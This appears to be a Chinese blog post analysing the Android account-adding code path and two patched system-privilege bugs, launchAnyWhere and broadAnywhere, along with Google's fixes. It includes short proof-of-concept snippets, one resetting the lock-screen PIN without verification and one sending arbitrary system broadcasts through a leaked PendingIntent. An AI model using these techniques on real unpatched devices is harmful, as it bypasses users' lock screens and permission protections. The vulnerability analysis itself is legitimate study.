android添加账户流程分析涉及漏洞修复

　　android修复了添加账户代码中的2处bug，retme取了很酷炫的名字launchAnyWhere、broadAnywhere(参考资料1、2)。本文顺着前辈的思路学习bug的原理和利用思路。

　　我们先看下源码里setting中添加账户的代码，来理解bug产生的原理。

　　/packages/apps/Settings/src/com/android/settings/accounts/AddAccountSettings.java下oncreate：

  public void onCreate(Bundle savedInstanceState) {

    ......
　　　　final Intent intent = new Intent(this, ChooseAccountActivity.class);

        if (accountTypes != null) {

            intent.putExtra(AccountPreferenceBase.ACCOUNT_TYPES_FILTER_KEY, accountTypes);

        }

        startActivityForResult(intent, CHOOSE_ACCOUNT_REQUEST);

    }

　　调用startActivityForResult去启动"添加账户"activity，ChooseAccountActivity选好账户后回调onActivityResult函数：

  public void onActivityResult(int requestCode, int resultCode, Intent data) {

        ......

        case CHOOSE_ACCOUNT_REQUEST:

        .......

            // Go to account setup screen. finish() is called inside mCallback.

            addAccount(data.getStringExtra(EXTRA_SELECTED_ACCOUNT));

            break;

　　ok，来到addAccount函数：

private void addAccount(String accountType) {

        ......

        mPendingIntent = PendingIntent.getBroadcast(this, 0, new Intent(), 0);

        addAccountOptions.putParcelable(KEY_CALLER_IDENTITY, mPendingIntent);

        addAccountOptions.putBoolean(EXTRA_HAS_MULTIPLE_USERS, Utils.hasMultipleUsers(this));

        AccountManager.get(this).addAccount(

                accountType,

                null, /* authTokenType */

                null, /* requiredFeatures */

                addAccountOptions,

                null,

                mCallback,

                null /* handler */);

        mAddAccountCalled  = true;

    }

　　注意new Intent()这是broadAnywhere bug的成因，下面还会仔细分析。看源码发现AddAccountSettings.addAccount的还是由AccountManager.addAccount来实现的。/frameworks/base/core/java/android/accounts/AccountManager.java-addAccount:

public AccountManagerFuture<Bundle> addAccount(final String accountType,

        ......

　　　　if (addAccountOptions != null) {
　　　　　　optionsIn.putAll(addAccountOptions);
　　　　　}

return new AmsTask(activity, handler, callback) {

public void doWork() throws RemoteException {

                mService.addAccount(mResponse, accountType, authTokenType,

                        requiredFeatures, activity != null, optionsIn);

            }

        }.start();

　　粗看之下addAccount貌似卡住了，但看AmsTask的start函数源码你会发现此函数就是去调用doWork函数。故这里实质是去执行mService.addAccount(回归正道了)，而mService就是AccountManagerService(这里不明白没关系，跟本文主题关系不大；先记住，我会另一篇解释下xxxManager、IxxxManager、IxxxManagerService之间的联系)。/frameworks/base/services/java/com/android/server/accounts/AccountManagerService.java—addAccount；

public void addAccount(final IAccountManagerResponse response, final String accountType,

            final String authTokenType, final String[] requiredFeatures,

            final boolean expectActivityLaunch, final Bundle optionsIn) {

        .......

        final Bundle options = (optionsIn == null) ? new Bundle() : optionsIn;

        ......

        try {

            new Session(accounts, response, accountType, expectActivityLaunch,

                    true /* stripAuthTokenFromResult */) {

                @Override

                public void run() throws RemoteException {

                    mAuthenticator.addAccount(this, mAccountType, authTokenType, requiredFeatures,

                            options);

                }

        ......

　　　由mAuthenticator去启动addAccount代码来添加账户；那mAuthenticator为何物(这里偏题下，参考资料6来学习下在android中如何添加自己的账户系统；其实直接看retme的launchAnyWhere poc学习更快)，这里用retme poc的代码来分析就是Authenticator，他继承自AbstractAccountAuthenticator。Authenticator.addAccount：

   public Bundle addAccount(AccountAuthenticatorResponse response, String accountType,

            String authTokenType, String[] requiredFeatures, Bundle options) {

        ......

        Intent intent = new Intent();

        // 重设锁屏pin

        intent.setComponent(new ComponentName(

                "com.android.settings",

                "com.android.settings.ChooseLockPassword"));

        intent.setAction(Intent.ACTION_RUN);

        intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);

        intent.putExtra("confirm_credentials",false);

        bundle.putParcelable(AccountManager.KEY_INTENT, intent);

        return bundle;

    }

　　Authenticator.addAccount返回Intent，由上面AmsTask中的内部类Response回调函数onResult来处理

  private class Response extends IAccountManagerResponse.Stub {

            public void onResult(Bundle bundle) {

                Intent intent = bundle.getParcelable(KEY_INTENT);

                if (intent != null && mActivity != null) {

                    // since the user provided an Activity we will silently start intents

                    // that we see

                    mActivity.startActivity(intent);

                    // leave the Future running to wait for the real response to this request

                }

        .......

　　startActivity去启动上面Authenticator.addAccount传入的activity。此activity对于正常app来说就是登陆页面，所以在此会记录账号信息已添加到android账户中。总得来说addAccount的流程就是这样子

　　账户添加流程就分析到这里，我们来看下bug是如何产生的。首先简单的先看launchAnyWhere：上面app中返回一个intent，而在Response里直接startActivity，这会打开android系统中的任意activity(因为此时在setting进程中执行具有system权限，system可以打开任意activity不管有无exported)。这就是launchAnyWhere的原理，通过精心构造的app可以打开任意activity(上面的填出的poc代码是重设锁屏pin，即不需要验证之前的pin就可以重新设置新的pin)。谷歌的修复也很简单，检测startActivity中的activity签名和构造的app的签名是否相同(签名相同表示app有权限打开activity；具体看android4.4的代码，所以launchAnyWhere的影响是android4.4以下的机器。

　　broadAnywhere：在分析这个bug之前我们先理解下PendingIntent(详情请参考7)；在这里可以简单的理解：

简单来说，就是指PenddingIntent对象可以按预先指定的动作进行触发，当这个对象传递（通过binder）到其他进程（不同uid的用户）,其他进程利用这个PenddingInten对象，可以原进程的身份权限执行指定的触发动作，这有点类似于Linux上suid或guid的效果。另外，由于触发的动作是由系统进程执行的，因此哪怕原进程已经不存在了，PenddingIntent对象上的触发动作依然有效。

　在AddAccountSettings.addAccount时创建PendingIntent，并一直传递到app的Authenticator.addAccount中

mPendingIntent = PendingIntent.getBroadcast(this, 0, new Intent(), 0);

　　PendingIntent的定义，我们可以在app执行PendingIntent指定的触发动作:PendingIntent.send(intent,flag)。而PendingIntent.send()实质是由PendingIntentRecord.send()来执行(不理解？继续看参考资料7)

public int send(int code, Intent intent, String resolvedType,

            IIntentReceiver finishedReceiver, String requiredPermission) {

        return sendInner(code, intent, resolvedType, finishedReceiver,

                requiredPermission, null, null, 0, 0, 0, null);

    }

　　继续往下看

 int sendInner(int code, Intent intent, String resolvedType,

            IIntentReceiver finishedReceiver, String requiredPermission,

            IBinder resultTo, String resultWho, int requestCode,

            int flagsMask, int flagsValues, Bundle options) {

        synchronized(owner) {

        ......

                Intent finalIntent = key.requestIntent != null

                        ? new Intent(key.requestIntent) : new Intent();

                if (intent != null) {// 填充intent

                    int changes = finalIntent.fillIn(intent, key.flags);

                    if ((changes&Intent.FILL_IN_DATA) == 0) {

                        resolvedType = key.requestResolvedType;

                    }

                }

                ......

                    case ActivityManager.INTENT_SENDER_BROADCAST:

                        try {

                            // If a completion callback has been requested, require

                            // that the broadcast be delivered synchronously

                            // 发生广播

                            owner.broadcastIntentInPackage(key.packageName, uid,

                                    finalIntent, resolvedType,

                                    finishedReceiver, code, null, null,

                                requiredPermission, (finishedReceiver != null), false, userId);

                            sendFinish = false;

                        } catch (RuntimeException e) {

                            Slog.w(ActivityManagerService.TAG,

                                    "Unable to send startActivity intent", e);

                        }

                        break;

        ......

　　这里最后面一步是发送广播了，那究竟是发送什么广播呢？看finalIntent.fillIn

 public int fillIn(Intent other, int flags) {

6474        int changes = 0;

6475        if (other.mAction != null

6476                && (mAction == null || (flags&FILL_IN_ACTION) != 0)) {

6477            mAction = other.mAction;

6478            changes |= FILL_IN_ACTION;

6479        }

6480        if ((other.mData != null || other.mType != null)

6481                && ((mData == null && mType == null)

6482                        || (flags&FILL_IN_DATA) != 0)) {

6483            mData = other.mData;

6484            mType = other.mType;

6485            changes |= FILL_IN_DATA;

6486        }

6487        if (other.mCategories != null

6488                && (mCategories == null || (flags&FILL_IN_CATEGORIES) != 0)) {

6489            if (other.mCategories != null) {

6490                mCategories = new ArraySet<String>(other.mCategories);

6491            }

6492            changes |= FILL_IN_CATEGORIES;

6493        }

6494        if (other.mPackage != null

6495                && (mPackage == null || (flags&FILL_IN_PACKAGE) != 0)) {

6496            // Only do this if mSelector is not set.

6497            if (mSelector == null) {

6498                mPackage = other.mPackage;

6499                changes |= FILL_IN_PACKAGE;

6500            }

6501        }

6502        // Selector is special: it can only be set if explicitly allowed,

6503        // for the same reason as the component name.

6504        if (other.mSelector != null && (flags&FILL_IN_SELECTOR) != 0) {

6505            if (mPackage == null) {

6506                mSelector = new Intent(other.mSelector);

6507                mPackage = null;

6508                changes |= FILL_IN_SELECTOR;

6509            }

6510        }

6511        if (other.mClipData != null

6512                && (mClipData == null || (flags&FILL_IN_CLIP_DATA) != 0)) {

6513            mClipData = other.mClipData;

6514            changes |= FILL_IN_CLIP_DATA;

6515        }

6516        // Component is special: it can -only- be set if explicitly allowed,

6517        // since otherwise the sender could force the intent somewhere the

6518        // originator didn't intend.

6519        if (other.mComponent != null && (flags&FILL_IN_COMPONENT) != 0) {

6520            mComponent = other.mComponent;

6521            changes |= FILL_IN_COMPONENT;

6522        }

6523        mFlags |= other.mFlags;

6524        if (other.mSourceBounds != null

6525                && (mSourceBounds == null || (flags&FILL_IN_SOURCE_BOUNDS) != 0)) {

6526            mSourceBounds = new Rect(other.mSourceBounds);

6527            changes |= FILL_IN_SOURCE_BOUNDS;

6528        }

6529        if (mExtras == null) {

6530            if (other.mExtras != null) {

6531                mExtras = new Bundle(other.mExtras);

6532            }

6533        } else if (other.mExtras != null) {

6534            try {

6535                Bundle newb = new Bundle(other.mExtras);

6536                newb.putAll(mExtras);

6537                mExtras = newb;

6538            } catch (RuntimeException e) {

6539                // Modifying the extras can cause us to unparcel the contents

6540                // of the bundle, and if we do this in the system process that

6541                // may fail.  We really should handle this (i.e., the Bundle

6542                // impl shouldn't be on top of a plain map), but for now just

6543                // ignore it and keep the original contents. :(

6544                Log.w("Intent", "Failure filling in extras", e);

6545            }

6546        }

6547        return changes;

6548    }

　　在fillIn函数中，会将intent属性(Action、Data、Categories,需要注意的是Component很特殊，只要有FILL_IN_COMPONENT即使原本有Component也可以被覆盖)全部填充到finalIntent(如果相应的属性为空)里。也就是说最后广播的intent是PendingIntent.send(intent,flag)中的intent(除无法指定Component)。那么我们就可以利用这个特性来发送任意的广播(PendingIntent由setting创建，所有具有system权限可以无视权限限制)了。具体的poc代码是在app的Authenticator.addAccount中添加如下代码

// the exploit of broadcastAnyWhere

final String KEY_CALLER_IDENTITY = "pendingIntent";

PendingIntent pendingintent = options.getParcelable(KEY_CALLER_IDENTITY);

Intent intent_for_broadcast = new Intent("android.intent.action.BOOT_COMPLETED");

intent_for_broadcast.putExtra("info", "I am bad boy");

try {

    pendingintent.send(mContext, 0, intent_for_broadcast);

} catch (CanceledException e) {

    e.printStackTrace();

}

　　谷歌的修复也很简单，在setting最初创建PendingIntent指定ComponentName、Action、Categories，这样PendingIntent.send(intent,flag)中相对应的intent属性就失效了，也就无法发送任意的广播。broadAnywhere的影响是android5.0以下的机子：

 Intent identityIntent = new Intent();

 identityIntent.setComponent(new ComponentName(SHOULD_NOT_RESOLVE, SHOULD_NOT_RESOLVE));

 identityIntent.setAction(SHOULD_NOT_RESOLVE);

 identityIntent.addCategory(SHOULD_NOT_RESOLVE);

参考资料：

1、launchAnyWhere: Activity组件权限绕过漏洞解析(Google Bug 7699048 )

2、broadAnywhere：Broadcast组件权限绕过漏洞（Bug: 17356824）

3、Android LaunchAnyWhere (Google Bug 7699048)漏洞详解及防御措施

4、Android BroadcastAnyWhere(Google Bug 17356824)漏洞详细分析

5、安卓Bug 17356824 BroadcastAnywhere漏洞分析

6、一步一步教你在 Android 里创建自己的账户系统（一）

7、说说PendingIntent的内部机制

巴特西

android添加账户流程分析涉及漏洞修复

最新文章

热门文章